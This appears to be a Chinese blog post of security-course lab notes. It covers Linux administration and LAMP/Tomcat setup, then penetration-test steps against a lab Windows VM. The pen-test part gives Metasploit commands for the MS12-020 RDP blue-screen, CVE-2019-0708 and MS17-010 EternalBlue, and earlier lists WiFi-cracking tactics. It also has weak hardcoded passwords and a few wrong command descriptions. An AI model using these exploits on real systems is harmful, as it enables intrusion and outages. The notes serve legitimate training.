1. 首页
  2. 技术小贴

信息安全实验

Day1

技术小贴
技术小贴

开班总结

  1. 以企业管理的要求约束自己:自律、慎独
  2. 做好自己,帮助他人,乐于分享,团队合作

团队

团队4人

课程计划

  • 安装Centos7
  • 远程访问配置
  • LAMP搭建与Linux+Tomacat+mysql搭建js的环境
  • 通过shell运维网站
  • 部署zabbix实时监控网站及服务器
  • 部署IDS(snort)入侵检测系统
  • 对上述网站进行渗透测试和漏洞修复

需要工具

  • Cenos7+网站源码
  • AWVS
  • BurpSuite
  • OWASP ZAP
  • nmap
  • sqlmap

大佬闲谈

  1. 虚拟网络配置器–选择网卡–选择有线网卡
  2. frp内网穿透
    frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。
    参考:https://github.com/fatedier/frp/blob/master/README_zh.md

    信息安全实验

  3. cdn自动节点分配知识点
  4. x prox mox虚拟化信息安全实验
  5. 私有云的搭建:nas
  6. 安利工具:光速搜索

网络配置

cd /etc/sysconfig/network-script

vim ifcfg-eps33

DEVICE=esp33
HWADDR=
TYPE=Ethernet
UUID=
ONBOOT=yes   			 自动加载网卡
NM_CONTROLLED=yes
BOOTPROTO:static 		 静态ip,设为dhcp为动态ip分配
IPADDR=172.16.12.136
NETMASK=255.255.240.0
GATEWAY=172.16.12.1
DNS1=61.139.2.69
DNS2=202.98.96.68

本组ip地址范围:172.16.12.136+20

service network restart 重启网卡

VIM常用操作

:w 	保存文件但不退出
:w file 文件将修改并保存到file中
:w! 强制保存,不退出
wq! 保存退出
wq! 强制保存退出
q:  不保存直接退出
q!  强制保存退出
e!  放弃所有修改

文件查看命令ls

  • 列表(List)显示目标内容
  • 格式:ls [选项]… [目录或文件名]
  • 常用命令选项:
    • -l: 以长格式显示
    • -a: 显示所有子目录和文件的信息,包括隐藏文件
    • -A: 类似于 -a ,但不显示 ... 目录信息
    • -d: 显示目录本身的属性
    • -h: 以更易读的字节单位(K、M等)显示信息
    • -R: 递归显示内容
    • –color: 以长格式显示

进程类命令

ps

  • 列出系统中当前运行的那些进程
  • 格式:ps [选项]
  • 常用命令选项:
    • a: 显示现行终端机下的所有程序,包括其他用户的程序
    • u: 以用户为第一列的格式来显示程序状况
    • x: 显示所有程序,不以终端机来区分
    • aux: 显示所有程序,包含其他使用者的程序
  • 往往配合 |grep 使用(|grep相当于检索)
    • ps aux | grep root
[root@localhost ~]# ps -aux | grep "events/3"
root       9534  0.0  0.0 112704   956 pts/0    S+   05:05   0:00 grep --color=auto events/3
这种内核线程共有32个,从events/0到events/31, 每个处理器核对应一个 events内核线程。用来处理内核事件很多软硬件事件(比如断电,文件变更)被转换为events,并分发给对相应事件感兴趣的线程进行响应。

kill

  • 杀死进程
  • 格式:kill [选项] [进程号(PID)]
  • 常用命令选项:
    • -9: 使 kill 的级别更高

提权思路

  1. 内核提权
  2. 进程注入提权

蜜罐

  1. 采集攻击手段,可采集脚本,生成字典
  2. 网络陷阱,可溯源复现
在以前,蜜罐是用来抓熊的。通过伪装成“食物”引诱熊前来享用,最后猎人再将熊一举拿下。
到了今天,蜜罐技术已经成为网络安全中的一种入侵诱饵,目的是引诱黑客前来攻击,并收集黑客相关的证据和信息。
所以蜜罐存在的意义就是——被攻击、被探测、被攻陷…

Web渗透思路

  1. 信息收集 (主动与被动)

数据链路层漏洞探测:arp攻击

IP传输层服务端口发现与判断

应用层漏洞发现:XXE、XFF等

WIFI密码破解思路

  1. 抓包配合奶瓶暴力破解
  2. AP信道干扰,本地路由器复制信道,实现登录认证为本地路由器认证
  3. 构造伪AP与原AP冲突,使原WIFI断开重连,社工盗取路由器密码,可盗用之

toDO:学习WIFI协议

Day2

Linux为啥要学

Linux系统是一个多用户多任务的操作系统,开源免费,更安全,兼容性更好

虚拟化闲谈

虚拟化技术

  1. 网络虚拟化
  2. 系统虚拟化
  3. 存储虚拟化

虚拟化软件

Vmware Workstation,KVM,Openstar…

参考链接

虚拟机使用闲谈

  1. 快照
  2. 克隆
    由于网卡的冲突,需要删除克隆机器的uuid(网络配置文件中)
  3. 暂停
  4. 网络获取来源信息安全实验

Centos基础

目录结构

  • bin所有用户 可以使用的命令
  • sbinroot用户 可以使用的命令
  • bootLinux 启动 引导 配置文件
  • dev存储设备文件(包括硬盘等)
  • etc系统 服务 应用 配置文件
  • home普通用户 的 家目录(相当于 windows C盘 中的 Users)
  • lib一些 函数 的 库文件
  • lost+found无实际意义,表示有一个磁盘挂载到根下
  • media挂载 光盘 等 外来存储介质
  • mnt同 media
  • opt安装外围大型程序
  • proc开机才有的配置文件(不开机时无该目录)
  • rootroot用户 的 家目录
  • selinux对程序进行控制,安全性比较高
  • srv暂时不管
  • sys系统配置文件
  • tmp临时文件
  • usr一些外部程序也会安装在这
  • var日志 网站根目录

通过文件的颜色区分功能:

蓝色:目录
天蓝色:连接文件
黑色:普通文件
绿色:执行文件

信息安全实验

[root@localhost ~]# 表示当前登录的用户是root

当前登录的用户名

主机名

当前所在的目录

文件及目录命令

ls
  • 列表(List)显示目标内容
  • 格式:ls [选项]… [目录或文件名]
  • 常用命令选项:
    • -l: 以长格式显示
    • -a: 显示所有子目录和文件的信息,包括隐藏文件
    • -A: 类似于 -a ,但不显示 ... 目录信息
    • -d: 显示目录本身的属性
    • -h: 以更易读的字节单位(K、M等)显示信息,
    • -R: 递归显示内容
    • –color: 以长格式显示
[root@localhost /]# ll
lrwxrwxrwx.   1 root root    7 Jul 18 11:41 bin -> usr/bin
l:文件类型(d是文件夹,l是连接文件,-是普通文件) 
rwxrwxrwx. :创建用户权限,用户属组权限,其他用户权限,是否存在acl(+表示存在acl)
1 root root :连接头 属主(所有者) 属组
7 Jul 18 11:41 :修改日期
bin -> usr/bin :文件名,连接到/usr/bin

属主:u
属组:g
其他用户:o
所有用户:a
r = 4,w=2,x=1
pwd
  • 查看工作目录
cd
  • 切换工作目录
  • 相对路径与绝对路径
    cd .   当前目录
    cd ..  上一级目录
su
  • su root 切换到root用户
mkdir
  • 创建新的目录(Make Directory)
  • 格式:mkdir [-p] [/路径/]目录名
  • 选项:
    • -p: 递归创建
mkdir /home/{aa,bb,cc}
[root@localhost /]# cd /home
[root@localhost home]# ls
aa  bb  cc

[root@localhost home]# mkdir -p 11/22/33
[root@localhost home]# ls
11  aa  bb  cc
[root@localhost home]# cd 11
[root@localhost 11]# cd 22
touch
  • 新建空文件,或更新文件时间标记
  • 格式:touch 文件名…
rm
  • 删除(Remove)文件或目录
  • 格式:rm [选项]… 文件或目录
  • 选项:
    • -r: 递归删除整个目录树
    • -f: 强制删除文件或目录,不进行提醒
    • -i: 删除文件或目录时提醒用户确认
mv
  • 移动(Move)文件或目录
    • 若目标位置与源文件位置相同,则相当于改名
  • 格式:mv [选项]… 源文件或目录… 目标文件或目录
cp
  • 复制(Copy)文件或目录
  • 格式:cp [选项]… 源文件或目录名… 目标文件或目录
  • 常用命令选项:
    • -r: 递归复制整个目录树
    • -p: 保持原文件的属性不变
    • -f: 强制覆盖目标同名文件或目录
    • -i: 需要覆盖文件或目录时进行提醒

查看文件目录命令

cat
  • 显示文件全部内容
  • 格式:cat [-n] 文件…
    • 可以同时查看多个文件
  • 常用命令选项:
    • -n: 给输出的所有行加上编号
  • 常见应用:
    • cat a b ... > c
      • 将 文件a 文件b 等文件 的内容导入 文件c 中
      • > 并不仅限于和 cat 搭配,它还可以与 ls 等搭配,只要是把文本导入某文件,都可以用
    • cat a |grep text
      • 检索 文件a 里的 关键字text 相关文本
    • cat a |grep -v text
      • 显示去除 关键字text 相关文本后的 文件a
    • cat a |sort
      • 将 文件a 文本排序 再显示
      • 数字按照 123
      • 字母按照 abc
    • cat a |uniq
      • 将 文件a 文本去重 再显示
      • 只有两行完全一样才被视为重复
    • cat a |wc -l
      • 计算 文件a 的行数
    • cat a >> b
      • 文本重定向
      • 即将 文件b 变为 文件a 的复制
  • 显示文件开头几行
  • 格式:head 文件
tail
  • 显示文件末尾几行
  • 格式:tail 文件
more
  • 按页显示文件全部内容
    • space 下一页
    • b 上一页
    • q 退出
  • 格式:more 文件
less
  • 类似于 more 但更加灵活,可以使用如 PageUpPageDown 这种翻看操作
  • 格式:less 文件

查找命令

find
  • 用于查找文件或目录
  • 格式:find [查找范围] [查找条件] [查找内容]
  • 常用查找条件:
    • -name: 按 文件名称 查找
    • -size: 按 文件大小 查找
    • -user: 按 文件属主 查找
    • -type: 按 文件类型 查找
    • -perm: 按 权限树 查找
  • 示例
    • find -name 111.txt:当前路径下搜索文件111.txt
    • find /root/桌面 -name 111.txt/root/桌面目录下搜索文件111.txt
    • find /root/桌面 -user root:/root/桌面目录下搜索属主为root的文件
    • find /root/桌面 -nouser/root/桌面目录下搜索作废用户的文件
    • find /root/桌面 -empty/root/桌面目录下搜索空文件和空目录
    • find /root/桌面 -amin -10/root/桌面目录下搜索最后 10分钟 访问的文件
    • find /root/桌面 -atime -10/root/桌面目录下搜索最后 10天 访问的文件
    • find /root/桌面 -mmin -10/root/桌面目录下搜索最后 10分钟 修改的文件
    • find /root/桌面 -mtime -10/root/桌面目录下搜索最后 10天 修改的文件
    • find /root/桌面 -perm 777/root/桌面目录下搜索权限数为777的文件
    • find /root/桌面 -size +3m/root/桌面目录下搜索大于3m的文件
grep
  • 查找内容
[root@localhost 22]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

通配符

通配符,指包含这些字符的字符串“?”,“*”,“[]”,{}

通配符含义===>匹配文件名

符号 作用
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
{..} 表示生成序列. 以逗号分隔,且不能有空格
[!abcd] 或[^abcd]表示非,表示不匹配括号里面的任何一个字符
特殊符号
|     #管道符,或者(正则)
>     #输出重定向
>>    #输出追加重定向
<     #输入重定向
<<    #追加输入重定向
~     #当前用户家目录
`` $() #引用命令被执行后的结果
$     #以。。。结尾(正则)
^     #以。。。开头(正则)
*     #匹配全部字符,通配符
?    #任意一个字符,通配符
#       #注释
&       #让程序或脚本切换到后台执行
&&      #并且 同时成立
[]      #表示一个范围(正则,通配符)
{}      #产生一个序列(通配符)
.       #当前目录的硬链接
..      #上级目录的硬链接

参考链接

文件权限

chmod
  • 格式:chmod [选项] 文件或目录
  • 数字方式
    • 选项为三个数字,每个数字都可以选择 0-7
      • 三个数字 表示 三个组的权限
        • 第一个数字 表示 所有者的权限
        • 第二个数字 表示 所属分组的权限
        • 第三个数字 表示 所有用户的权限
      • 0-7 表示 拥有的权限,其本质为 三位的二进制数
        • 0/1(最低位)表示 是否可执行 为1表示有可执行权限,为0表示没有
        • 0/2(第二位)表示 是否可写 为1表示有可写权限,为0表示没有
        • 0/4(最高位)表示 是否可读 为1表示有可读权限,为0表示没有
        • 选择好权限后,将该三位二进制数装变成10进制数,放在对应的组别即可
    • 典型示例
      • chmod 777 1.txt
        • 表示赋予 1.txt 所有权限,即 所有者、所属分组用户、所有用户 都对 1.txt 又有可读,可写,可执行权限
  • 增减方式
    • 选项为 对应组+/-权限
      • 对应组
        • u 代表 所有者
        • g 代表 所属分组
        • o 代表 所有用户
      • 加减
        • + 代表 增加权限
        • 代表 去除权限
      • 权限
        • r 代表 可读权限
        • w 代表 可读权限
        • x 代表 可执行权限
    • 典型示例
      • chmod o-wx 1.txt
        • 表示删去 1.txt 其他用户 的 可写可执行权限
      • chmod u=—,g=—,o=r-x 1.txt
      • chmod a=rwx 1.txt
chown
  • 更改文件的属主和属组
  • 格式:chown [-R] 属主名:属组名 文件或目录
  • 常用命令选项
    • -R: 递归方式更改属主
  • 典型示例
    • chown -R root:root www
    • chown -R apache www
      • 只把 使用者 改为 Apache
    • chown -R :Apache www
      • 只把 属组 改为 Apache
ACL

针对其他用户,用以分配临时权限

  • setfacl -m u:student:rwx test
    • 创建acl规则,使student用户对于test文件具有rwx的权限
  • getfacl test
    • 查看test文件的acl规则
  • setfacl -x u:student test
    • 删除一条ACL规则
  • setfacl -b test
    • 删除test目录所有ACL规则
sbit

粘滞位权限(强制位权限)

  • chmod o+t files/
    • 需要root用户才能添加t权限
    • drwxr-xr-t. 2 root root 6 Jul 18 23:18 files
    • --x->t --- ->T
    • 可以实现只有文件所有者才能删除该文件
sgid

以所属组的身份去执行

  • chmod g+s files/
  • drwxr-sr-t. 2 root root 6 Jul 18 23:18 files
  • --x->s --- ->S
  • 可以实现只有将文件的权限属组设置为用户的属组
suid

以所有者的身份执行(只针对文件,不针对目录)

用户与组管理

用户的基本信息与密码信息分开存储于passwd和shadow!

root:x:0:0:root:/root:/bin/bash 用户名:密码占位符:uid:gid:用户组:组目录:登录方式

root:$6$prdKEBNl3oa246t4$JNBx/LTIuaVD3KQpDGu6T5d8dQ4sKcgxoQSHNxvfztCcADgUvEHOhX3rAlptlqcT0qGfJoXVsudK6IWXqKY6M/::0:99999:7::: 第二字段表示密码

用户分类:

超级用户

普通用户

虚拟用户:不能登陆系统,针对具体应用(如匿名用户之于ftp)才有效

用户组的目录:

/etc/group :存放组基本信息

/etc/gshadow:存放组密码信息

useradd
  • 添加用户(会生成用户,用户家目录,用户同名组)
  • 格式:useradd [选项]… 用户名
  • 常用命令选项
    • -u: 指定 UID 标记好
    • -d: 指定 宿主目录,缺省为 /home/用户名
    • -e: 指定账号 失效时间
    • -g: 指定用户的 基本组名(或 UID)
    • -G: 指定用户的 附加组名(或 GID)
    • -M: 不为用户建立并初始化 宿主目录
    • -s: 指定用户的登录 Shell
      • useradd -s /sbin/nologin student
passwd
  • root用户: passwd student
  • 普通用户:passwd
userdel
  • 删除用户
  • 格式:userdel [-r] 用户名
  • 常用命令选项
    • -r: 连同用户宿主目录一并删除
usermod
  • usermod -l stu student
  • -L 锁定用户
  • -U 解锁用户
groupadd
  • 添加用户组
  • 格式:groupadd [选项]… 用户组名
  • 常用命令选项
    • -g: 指定一个 GID
gpasswd

用户组管理

  • -a 将用户添加到组
    • gpasswd -a student root iangstudent添加到root组
  • -A 将用户设置为组管理员
  • -d 将用户从组删除

为用户组设置密码:gpasswd

普通用户临时加入到组,并享有组的权限:newgroup

人事部有两个员工(rs1 rs2),其中rs1为组rsb的管理员,rsb组的密码是:123456
/mnt/rsb文件 drwxr-x--- rs1 rsb
现在有一个员工:zjl  想有临时权限查看rsb目录中的文件?
groupdel
  • 删除用户组
  • 格式:groupdel 用户组名

任务

任务内容

项目一组:
用户组:xm1z
用户:xm11 (组管理员) xm12
文件:/mnt/xm1z

项目二组:
用户组:xm2z
用户:xm21 (组管理员) xm22
文件:/mnt/xm2z

管理团队用户:
用户组:glz
用户:xmjl(项目经理)  rsjl(人事经理)  xmzl(经理助理)
文件:/mnt/wan19
要求:
每组的文件夹只允许本组的同学访问,并可以读写文件,并且建立的文件所属组为员工所在的组,但只能删除自己的文件,不能删除别人的文件。**其他组的同学对本组的文件没有任何权限**。其中管理团队的xmjl对各组文件具有读写执行的权限。
每组的管理员可以管理本组员工的帐号。

新建用户和组

[root@localhost etc]# groupadd xm1z		# 建立xm1z组
[root@localhost etc]# groupadd xm2z		# 建立xm2z组
[root@localhost etc]# groupadd glz		# 建立glz组
[root@localhost etc]# mkdir /mnt/xm1z	# 创建xm1z文件夹
[root@localhost etc]# mkdir /mnt/xm2z	# 创建xm2z文件夹
[root@localhost etc]# mkdir /mnt/wan19	# 创建wan19文件夹
[root@localhost etc]# useradd xm11		# 添加用户xm11
[root@localhost etc]# useradd xm12		# 添加用户xm12
[root@localhost etc]# useradd xm21		# 添加用户xm21
[root@localhost etc]# useradd xm22		# 添加用户xm22
[root@localhost etc]# useradd xmj1		# 添加用户xmj1
[root@localhost etc]# useradd rsj1		# 添加用户rsj1
[root@localhost etc]# useradd xmz1		# 添加用户xmz1
[root@localhost mnt]# gpasswd -a xm12 xm1z
[root@localhost mnt]# gpasswd -a xm11 xm1z
[root@localhost mnt]# gpasswd -a xm21 xm2z
[root@localhost mnt]# gpasswd -a xm22 xm2z
[root@localhost mnt]# gpasswd -a xmj1 glz
[root@localhost mnt]# gpasswd -a rsj1 glz
[root@localhost mnt]# gpasswd -a xmzl glz
[root@localhost mnt]# gpasswd -a xmz1 glz
[root@localhost etc]# gpasswd -a xm11 xm1z # 将xm11添加为xm1z组的管理员
[root@localhost etc]# gpasswd -a xm21 xm2z # 将xm21添加为xm2z组的管理员

更改文件夹属组

初始状态

drwxrwx---. 2 root root 6 Jul 18 23:56 wan19
drwxrwx---. 2 root root 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root root 6 Jul 18 23:53 xm2z
[root@localhost mnt]# chown -R :xm1z xm1z
[root@localhost mnt]# chown -R :xm2z xm2z
[root@localhost mnt]# chown -R :glz wan19/
[root@localhost mnt]# chmod g+s xm1z

drwxrws---+ 2 root glz   6 Jul 18 23:56 wan19
drwxrws--T+ 2 root xm1z 33 Jul 19 02:53 xm1z
drwxrws---+ 2 root xm2z 20 Jul 19 02:48 xm2z

文件夹权限设置

初始状态:

[root@localhost mnt]# ll
total 0
drwxr-xr-x. 2 root root 6 Jul 18 23:56 wan19
drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm1z
drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm2z

设置文件删除权限

[root@localhost mnt]# chmod o+t wan19/ xm1z/ xm2z/
drwxrwx--T. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx--T. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx--T. 2 root xm2z 6 Jul 18 23:53 xm2z

设置读写文件权限

[root@localhost mnt]# chmod u=rwx,g=rwx,o=--- xm1z/ xm2z/ wan19/
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z

切换用户读访问测试

[root@localhost mnt]# su xm11
[xm11@localhost mnt]$ ll
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z
[xm11@localhost mnt]$ cd xm1z
[xm11@localhost xm1z]$ cd ..
[xm11@localhost mnt]$ cd xm2z
bash: cd: xm2z: Permission denied
[xm11@localhost mnt]$ cd wan19/
bash: cd: wan19/: Permission denied

[root@localhost mnt]# su xm21
[xm21@localhost mnt]$ ll
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z
[xm21@localhost mnt]$ cd xm1z/
bash: cd: xm1z/: Permission denied
[xm21@localhost mnt]$ cd xm2z/
[xm21@localhost xm2z]$ cd ..
[xm21@localhost mnt]$ cd wan19/
bash: cd: wan19/: Permission denied

文件删除测试

[root@localhost mnt]# su xm11
[xm11@localhost mnt]$ cd xm1z
[xm11@localhost xm1z]$ touch 11.txt
[xm11@localhost xm1z]$ su root
[root@localhost xm1z]# su xm12
[xm12@localhost xm1z]$ cd xm1z
bash: cd: xm1z: No such file or directory
[xm12@localhost xm1z]$ cd /mnt
[xm12@localhost mnt]$ cd xm1z
[xm12@localhost xm1z]$ ll
-rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt
[xm12@localhost xm1z]$ rm 11.txt
rm: remove write-protected regular empty file ‘11.txt’?
[xm12@localhost xm1z]$ ll
-rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt

文件权限设置

[root@localhost mnt]# cd xm1z/
[root@localhost xm1z]# ll
total 4
-rw-rwxr--+ 1 xm11 xm11 133 Jul 19 02:42 11.txt
[root@localhost xm1z]# chmod o-rwx *
[root@localhost xm1z]# ll
total 4
-rw-rwx---+ 1 xm11 xm11 133 Jul 19 02:42 11.txt
....

超级管理员xmj1权限设置

[root@localhost mnt]# setfacl -m u:xmj1:rwx xm1z/ xm2z/ wan19/

访问测试:

[root@localhost mnt]# su xmj1
[xmj1@localhost mnt]$ cd xm1z/
[xmj1@localhost xm1z]$ ll
-rw-rwxr--+ 1 xm11 xm11 0 Jul 19 02:30 11.txt
[xmj1@localhost xm1z]$ cat 11.txt
[xmj1@localhost xm1z]$ vim 11.txt
[xmj1@localhost xm1z]$ cat 11.txt
:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!

Day3

搭建LAMP

安装apache:

yum install httpd httpd-devel
systemctl start  httpd
systemctl enable  httpd		# 设置httpd服务开机启动

防火墙设置开启80/443端口:

firewall-cmd --permanent --zone=public  --add-service=http
firewall-cmd --permanent --zone=public  --add-service=https
firewall-cmd --reload

安装MySQL:

yum install mariadb mariadb-server mariadb-libs mariadb-devel
rpm -qa |grep maria
systemctl start  mariadb 
systemctl enable  mariadb 
mysql_secure_installation  # 数据库安全设置
mysql -u root -p		# 测试
#------#
mysqldump couman --user=root --password=123456>db-01.mysql;	# 数据库的备份

安装PHP:

yum -y install php
rpm -ql php/etc/httpd/conf.d/php.conf/etc/httpd/conf.modules.d/10-php.conf/usr/lib/httpd/modules/libphp5.so/usr/share/httpd/icons/php.gif/var/lib/php/session
yum install php-mysql
rpm -ql php-mysql/etc/php.d/mysql.ini/etc/php.d/mysqli.ini/etc/php.d/pdo_mysql.ini/usr/lib/php/modules/mysql.so/usr/lib/php/modules/mysqli.so/usr/lib/php/modules/pdo_mysql.so
yum install -y php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel php-bcmath	#安装常用模块

重启apache服务器:systemctl restart httpd

发布网站

网站存放的默认目录:/var/www/html

将网站文件夹放到html文件下即可!

效果图

信息安全实验

 

信息安全实验

信息安全实验

 

使用Tomcat搭建网站

安装JDK

首先查看自己的机器上是否已经自带openjdk,命令如下:

rpm -qa | grep jdk

如果存在,则按照如下命令进行依次卸载:

yum -y remove fileName

下载jdk:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

创建java家目录:mkdir -p /usr/local/java,将jdk-8u161-linux-x64.tar.gz解压并复制到该目录下

vim /etc/profile

在该文件末尾加上如下内容:

export JAVA_HOME=/usr/local/java/jdk1.8.0_211
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

重新加载配置文件:source /etc/profile

[root@localhost local]# java -version

java version “1.8.0_151”

Java(TM) SE Runtime Environment (build 1.8.0_151-b12)

Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)

输出上面的版本信息即代表安装成功。

安装Maven

下载maven包:wget https://archive.apache.org/dist/maven/maven-3/3.5.0/binaries/apache-maven-3.5.0-bin.tar.gz

创建maven家目录:mkdir -p /usr/local/maven并将之前下载的包解压并复制到该目录

修改配置文件:vim /etc/profile

export JAVA_HOME=/usr/local/java/jdk1.8.0_211
export JRE_HOME=${JAVA_HOME}/jre
export MAVEN_HOME=/usr/local/maven/apache-maven-3.5.0 #增加此行
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${MAVEN_HOME}/bin:$PATH #修改此行

source /etc/profile

[root@localhost a]# mvn -v

Apache Maven 3.5.0 (ff8f5e7444045639af65f6095c62210b5713f426; 2017-04-04T03:39:06+08:00)

Maven home: /usr/local/maven/apache-maven-3.5.0

Java version: 1.8.0_151, vendor: Oracle Corporation

Java home: /usr/local/java/jdk1.8.0_151/jre

Default locale: zh_CN, platform encoding: UTF-8

OS name: “linux”, version: “3.10.0-514.16.1.el7.x86_64”, arch: “amd64”, family: “unix”

至此,我们就完美的完成了maven的安装和配置。

安装git

yum -y install git

安装mysql并导入数据库
[root@nmserver-7 ~]# yum install mariadb mariadb-server mariadb-libs mariadb-deve
[root@nmserver-7 ~]# systemctl start  mariadb 
[root@nmserver-7 ~]# systemctl enable  mariadb
[root@nmserver-7 ~]# systemctl status  mariadb
[root@nmserver-7 ~]# mysql_secure_installation  配置root用户的密码为:123456)
安装tomcat

下载linux下的Tomcat压缩包 apache-tomcat-8.5.13.tar.gz,解压后放到/var/tomcat/目录下

启动与关闭tomcat:

/apache-tomcat-8.5.13/bin/startup.sh
/apache-tomcat-8.5.13/bin/shutdown.sh

开放8080端口:

firewall-cmd –zone=public –add-port=8080/tcp –permanent

centos7 已经更改了防火墙策略,所以使用这种方式来打开端口:
--zone #作用域
--add-port=8080/tcp #添加端口,格式为:端口/通讯协议
--permanent #永久生效,没有此参数重启后失效
重启防火墙:firewall-cmd --reload
发布电商网站

创建数据库:create database jspgou CHARACTER SET utf8 COLLATE utf8_general_ci;

导入数据库:mysql -u root -p jspgou</var/tomcat/apache-tomcat-8.5.13/DB/jspgou.sql

将程序解压后的ROOT文件夹拷贝到tomcat安装目录下的webapps文件夹下。

配置数据库连接:/var/tomcat/apache-tomcat-8.5.41/webapps/ROOT/WEB-INF/config

jdbc.url=jdbc:mysql://127.0.0.1:3306/jspgou?characterEncoding=UTF-8
jdbc.username=root
jdbc.password=123456

启动tomcat

./startup.sh

效果图

访问网站后台:http://192.168.75.140:8080/jeeadmin/jspgou/index.do

遇到坑不能访问,重启即可!

信息安全实验

shell脚本设计

备份数据库

mysqldump jspgou --user=root --password=123456>`date +%Y%m%d`db-01.mysql

备份日志

cp -R /var/log/httpd /httpdbak/`date +%Y%m%d` httpdbak
示例脚本
#!/bin/bash
BAK_DIR=/data/backup/mysql/`date +%Y-%m-%d`
MYSQLDB=jspgou
MYSQLPWD=123456
MYSQLUSER=root
#must use root user run scripts
if [ $UID -ne 0 ];then
echo -e "33[43;31m This script must use the root user! 33[0m"
sleep 2
exit 0
fi
#Define DIR and mkdir DIR
if [ ! -d $BAK_DIR ];then
mkdir -p $BAK_DIR
fi
#Use mysqldump backup Databases
/usr/bin/mysqldump -u $MYSQLUSER -p$MYSQLPWD -d $MYSQLDB>$BAK_DIR/${MYSQLDB}bak.sql
echo "The mysql backup successfully"

[root@localhost shell]# vim dump2.sh
[root@localhost shell]# ./dump2.sh
The mysql backup successfully

Day4

实验环境

  1. win7虚拟机,网络桥接
  2. PHPstudy,安装有grade网站
  3. tomcat,安装有jspgou在线商城

端口发现

使用nmap扫描之:

信息安全实验

漏洞扫描

使用nessus扫描之:

信息安全实验

漏洞利用(系统)

MS12-020

漏洞介绍:

(全称:Microsoft windows远程桌面协议RDP远程代码执行漏洞)
RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行, 然后控制系统。

漏洞利用:

  1. nmap扫描主机,查看靶机是否开启3389端口。
    nmap -p1-65535 -sV -sS -Pn -T4 target   
    	-sS 是半开放扫描,比普通扫描要快
    	-sV是版本检测
    	-Pn是不对目标主机进行存活性判断
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
    3389/tcp open  ms-wbt-server Microsoft Terminal Service
  2. 如果3389开放,说明可能存在漏洞
    cmd开启3389
    REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  3. 使用msfconsole, 利用里面的模块查看是否存在Ms12-020漏洞。
    search ms12-020
    	auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16      auxiliary/scanner/rdp/ms12_020_check                         use auxiliary/scanner/rdp/ms12_020_chec
    set rhosts 192.168.222.135
    set threads 10
    threads => 10
    run
  4. 复现死亡蓝屏
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set rhosts 192.168.222.135
run

防范:

  1. 关闭防火墙或者关闭3389端口
  2. 若需要用,就对防火墙配置策略,允许哪些IP才可以访问你RDP协议。

CVE-2019-0708

影响范围:

windows2003、windows2008、windows2008 R2、windows xp

漏洞原理:

远程桌面端口3389,RDP协议进行攻击
通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去
该漏洞是“可传播的”,这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机,就像2017年WannaCry恶意软件在全球蔓延一样,跟之前的勒索,永恒之蓝病毒差不多

漏洞利用:

  1. 漏洞探测
    search cve-2019-0708
    use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
    set rhosts 192.168.222.135
    run
    [+] 192.168.222.135:3389  - The target is vulnerable.
  2. 由于msf不带现成exp,在Github上下载了一个poc,并攻击成功https://github.com/Ekultek/BlueKeep

防御:

  1. 如果不需要,请禁用远程桌面服务。
  2. 在运行Windows 7,Windows Server 2008和Windows Server 2008 R2的提供支持版本的系统上启用网络级别身份验证(NLA)
  3. 在企业外围防火墙处阻止TCP端口3389

MS 17-010

传说中的永恒之蓝漏洞!

漏洞原理:

漏洞出现在Windows SMB v1中的内核态函数srv!
SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。

漏洞利用:

  1. 检测是否存在漏洞
    auxiliary/scanner/smb/smb_ms17_010
    set rhosts 192.168.222.135
    run
    	192.168.222.135:445   - Host is likely VULNERABLE to MS17-010!
  2. 加载攻击模块
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOST 192.168.222.137
    exploit

防御方法:

  1. 安装微软MS17-010补丁
